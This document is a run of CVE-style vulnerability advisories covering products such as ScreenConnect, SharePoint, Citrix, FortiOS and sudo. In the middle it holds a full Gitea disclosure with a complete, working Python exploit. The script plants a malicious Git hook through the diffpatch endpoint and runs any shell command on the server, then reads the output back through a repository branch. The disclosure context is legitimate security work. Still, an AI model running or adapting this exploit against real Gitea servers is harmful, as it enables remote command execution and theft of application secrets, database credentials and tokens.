A condition in the ScreenConnect client may allow files to be transferred and executed through an active remote session without authorization or Host confirmation in certain circumstances. ScreenConnect servers are not impacted.
Deserialization of untrusted data in Microsoft Entra ID allows an unauthorized attacker to execute code over a network.
MikroTik RouterOS contains an improper neutralization of argument delimiters in a command vulnerability which allows an attacked to change the trusted RouterOS policy mask, leading to privilege escalation.
ILIAS before versions 9.22, 10.10, and 11.3 contains an unauthenticated PHP object injection vulnerability that allows unauthenticated attackers to execute arbitrary code by injecting serialized objects through the LTI authentication endpoint and triggering deserialization via the Shibboleth back-channel logout endpoint. Attackers can write arbitrary serialized objects into session storage, then exploit an available POP gadget through the logout endpoint's unrestricted deserialization to write attacker-controlled PHP content to a web-accessible path and achieve remote code execution as the web server user.
A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system. This vulnerability is due to an improper system process that is created at boot time. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute a variety of scripts and commands that allow root access to the device.
Citrix NetScaler ADC and NetScaler Gateway contain an authentication-bypass vulnerability involving an alternate path or channel. When the NetScaler appliance is configured as an AAA virtual server or as a Gateway (SSL VPN, ICA Proxy, CVPN, or RDP Proxy), an unauthenticated remote threat actor may be able to bypass authentication.
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS and FortiSwitchManager cwacd daemon may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.The presence of security controls such as ASLR and PIE considerably raises the complexity and preparation effort required for exploitation.
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavis via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavis automatically prefers it over cpio.
Adobe Flash Player 21.0.0.226 and earlier allows remote attackers to execute arbitrary code via unspecified vectors, as exploited in the wild in May 2016.
InfluxDB OSS 2.x through 2.7.11 stores the administrative operator token under the default organization which allows authorized users with read access to the authorization resource of the default organization to retrieve the operator token. InfluxDB OSS 1.x, Enterprise, Cloud, Cloud Dedicated and Clustered are not affected. NOTE: The researcher states that InfluxDB allows allAccess administrators to retrieve all raw tokens via an "influx auth ls" command. The supplier indicates that the organizations feature is operating as intended and that users may choose to add users to non-default organizations. A future release of InfluxDB 2.x will remove the ability to retrieve tokens from the API. The supplier has stated that InfluxDB 2.8.0 has addressed this issue.
Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.
Microsoft SharePoint contains a weak authentication vulnerability which allows an unauthorized attacker to bypass a security feature over a network.
Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.
Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.
Microsoft SharePoint contains a missing authentication for critical function vulnerability that allows an unauthorized attacker to elevate privileges over a network.
Mbed TLS before 3.6.4 allows a use-after-free in certain situations of applications that are developed in accordance with the documentation. The function mbedtlsx509stringtonames() takes a head argument that is documented as an output argument. The documentation does not suggest that the function will free that pointer; however, the function does call mbedtlsasn1freenameddatalist() on that argument, which performs a deep free(). As a result, application code that uses this function (relying only on documented behavior) is likely to still hold pointers to the memory blocks that were freed, resulting in a high risk of use-after-free or double-free. In particular, the two sample programs x509/certwrite and x509/certreq are affected (use-after-free if the san string contains more than one DN).
N-able N-central contains a static code injection vulnerability that could allow for pre-authentication remote code execution.
Adobe Commerce and Magento Open Source contain an improper neutralization of special elements used in a template engine vulnerability that could allow an attacker to execute arbitrary code.
An Out-of-bounds Write vulnerability in the WatchGuard Fireware OS iked process may allow a remote unauthenticated attacker to execute arbitrary code. This vulnerability affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.
If the Firebox was previously configured with the mobile user VPN with IKEv2 or a branch office VPN using IKEv2 to a dynamic gateway peer, and both of those configurations have since been deleted, that Firebox may still be vulnerable if a branch office VPN to a static gateway peer is still configured.
An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The HTTP RPC module executes a shell command to write logs when user's authentication fails. The username is directly concatenated with the command without any sanitization. This allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.
Summary
Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.
An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.
Details
services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:
go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") }
Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.
In a bare clone, the repository root is $GITDIR. As a result, an executable entry named:
text hooks/post-index-change
becomes a live Git hook.
Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.
The hook's return value is not propagated to the diffpatch response.
The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.
PoC
The supplied giteadiffpatchrcepoc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.
Set the account password:
bash export GITEAPASSWORD='account-password'
Execute a command through the diffpatch chain:
bash python3 ./giteadiffpatchrcepoc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd'
The script:
Creates an initialized private repository. Submits the same executable-hook patch twice. Fetches the result branch. Prints the command's combined stdout, stderr, and exit status. Prints the evidence repository, ref, and commit IDs to stderr.
Expected output resembles:
text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/...
[exit-status=0]
The trigger requires:
Git 2.32 or newer. An enabled diffpatch route. A writable and executable temporary filesystem.
Open registration is required only for the no-prior-credentials attack path.
Impact
This is remote command execution as the Gitea service account (CWE-94).
Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:
app.ini and Gitea application secrets. Process environment secrets. Mounted repositories. Database credentials and database contents. OAuth and integration credentials. Other internal or externally reachable services.
With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.
<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />
python #!/usr/bin/env python3 -- coding: utf-8 -- """ Gitea RCE PoC – authorized testing only. """
from future import annotations
import argparse import base64 import getpass import hashlib import json import os from pathlib import Path
import secrets import shlex import shutil import subprocess import sys import tempfile
from typing import Any import urllib.error import urllib.parse import urllib.request
TIMEOUT = 30.0 USERAGENT = "gitea-rce-poc/2.0"
RST = "\033[0m" DIM = "\033[2m" GRN = "\033[38;5;46m" # bright green RED = "\033[31m" # red for errors
def g(t: str) -> str: return f"{GRN}{t}{RST}" def r(t: str) -> str: return f"{RED}{t}{RST}" def d(t: str) -> str: return f"{DIM}{t}{RST}"
def logstar(msg: str) -> None: print(f"{g('[]')} {d(msg)}") def logok (msg: str) -> None: print(f"{g('[+]')} {g(msg)}") def logerr (msg: str) -> None: print(f"{r('[-]')} {r(msg)}")
SEP = " " + "═" 44 BANNER = f"{SEP}\n GITEA REMOTE CODE EXECUTION POC\n{SEP}"
def printbanner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(g(line)) print() ver = version or "unknown" print(g(" " + "-" 54)) print(g(f" Target : {url}")) print(g(f" Version : {ver}")) if command: print(g(f" Command : {command}")) print(g(" " + "-" 54)) print()
class PocError(RuntimeError): pass
class GiteaClient: def init(self, baseurl: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(baseurl) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.baseurl = baseurl.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}"
def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.baseurl + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USERAGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON")
def bloboid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest()
def buildhook(command: str, leakref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leakref}") return ( "#!/bin/sh\n" 'gitdir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'originobjects=$(sed -n "1p" "$gitdir/objects/info/alternates") || exit 2\n' 'case "$originobjects" in\n' ' /) ;;\n' ' ) originobjects="$gitdir/objects/$originobjects" ;;\n' "esac\n" 'origingit=${originobjects%/objects}\n' '[ "$origingit" != "$originobjects" ] || exit 3\n' f"outputblob=$({{ /bin/sh -c {qcmd}; " 'commandstatus=$?; printf "\\n[exit-status=%s]\\n" "$commandstatus"; } 2>&1 | ' 'git --git-dir="$origingit" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$outputblob" | ' 'git --git-dir="$origingit" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GITAUTHORNAME=poc GITAUTHOREMAIL=poc@example.invalid " "GITCOMMITTERNAME=poc GITCOMMITTEREMAIL=poc@example.invalid " 'git --git-dir="$origingit" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origingit" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode()
def buildpatch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'40}..{bloboid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
def rungit(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout
def fetchoutput(git: str, client: GiteaClient, owner: str, repo: str, leakref: str) -> bytes: remote = ( f"{client.baseurl}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" authcfg = Path(tmp) / "auth.config" fd = os.open(authcfg, os.OWRONLY | os.OCREAT | os.OEXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {os.environ, "GITTERMINALPROMPT": "0"} rungit(git, ["init", "--bare", "--quiet", str(bare)], env) rungit(git, [ "-C", str(bare), "-c", f"include.path={authcfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leakref}", ], env) return rungit(git, ["-C", str(bare), "show", "FETCHHEAD:output"], env)
def splitoutput(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status
def parseargs() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.addargument("url", help="Gitea base URL") p.addargument("username", help="existing Gitea username") p.addargument("command", help="shell command to execute on target") return p.parseargs()
def main() -> int: args = parseargs() if "\0" in args.command: raise PocError("command must not contain a NUL character")
password = os.environ.get("GITEAPASSWORD") or getpass.getpass( g("[?]") + " password: " ) if not password: raise PocError("password must not be empty")
git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH")
client = GiteaClient(args.url, args.username, password)
# version probe (pre-banner) logstar("probing target...") version: str | None = None try: r = urllib.request.Request( client.baseurl + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USERAGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" printbanner(client.baseurl, version, args.command)
logstar(f"target={client.baseurl} user={args.username} cmd={args.command}") print()
# step 1 – authenticate logstar("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): logerr("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: logerr("no login in response"); raise PocError("no login") logok(f"logged in as {owner} ({version})")
# step 2 – create repo unique = secrets.tokenhex(5) repo = f"test-repo-{unique}" leakref = f"output-{unique}" logstar("creating repository...") sc, = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "autoinit": True, "defaultbranch": "main", "objectformatname": "sha1", }) if sc != 201: logerr("repo creation failed"); raise PocError("repo creation failed") logok(f"created repo {owner}/{repo}")
# steps 3–4 – deliver payloads body = { "content": buildpatch(buildhook(args.command, leakref)), "message": "initial commit", "branch": "main", "newbranch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): logstar(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: logerr(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: logerr(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) logok(f"payload {cycle}/2 accepted commit={commit[:16]}")
# step 5 – retrieve output logstar("retrieving output...") output = fetchoutput(git, client, owner, repo, leakref) logok("operation complete")
# command output cmdout, exitstatus = splitoutput(output) print() logok(f"{args.command}:") print(g("---")) if cmdout: for line in cmdout.splitlines(): print(g(line)) else: print(d("<no output>")) print(g("---")) if exitstatus == 0: logok(f"exit status: {exitstatus}") elif exitstatus is None: logstar("exit status: unknown") else: logerr(f"exit status: {exitstatus}")
return 0
if name == "main": try: raise SystemExit(main()) except PocError as exc: logerr(str(exc)) raise SystemExit(1) from None
An unauthenticated SQL injection vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The /pa endpoint processes XML content beginning with <PolycomIPPhone> and directly concatenates the user-controlled PhoneIP value into PostgreSQL queries without sanitization or parameterization. An unauthenticated remote attacker can execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.
A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path. A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized operations.
JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.
Kestra is an open-source, event-driven orchestration platform. Prior to 1.0.45 and 1.3.21, AuthenticationFilter in Kestra OSS uses request.getPath().endsWith("/configs") to whitelist the public configuration endpoint from Basic Auth. Because the check is a suffix match rather than an exact path match, any API path whose last segment is configs bypasses authentication entirely. An unauthenticated remote attacker can exploit this to create and execute arbitrary workflows without credentials. Because Kestra ships with script execution plugins (plugin-script-shell, plugin-script-python, etc.) enabled by default, this directly results in unauthenticated Remote Code Execution as root inside the Kestra worker container. This vulnerability is fixed in 1.0.45 and 1.3.21.
An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers. If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process.
An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.
An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
Adobe ColdFusion contains a path traversal vulnerability that could lead to arbitrary code execution in the context of the current user.
Ajax.NET Professional (AjaxPro) contains a deserialization of untrusted data vulnerability that could allow for remote code execution via arbitrary .NET classes. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.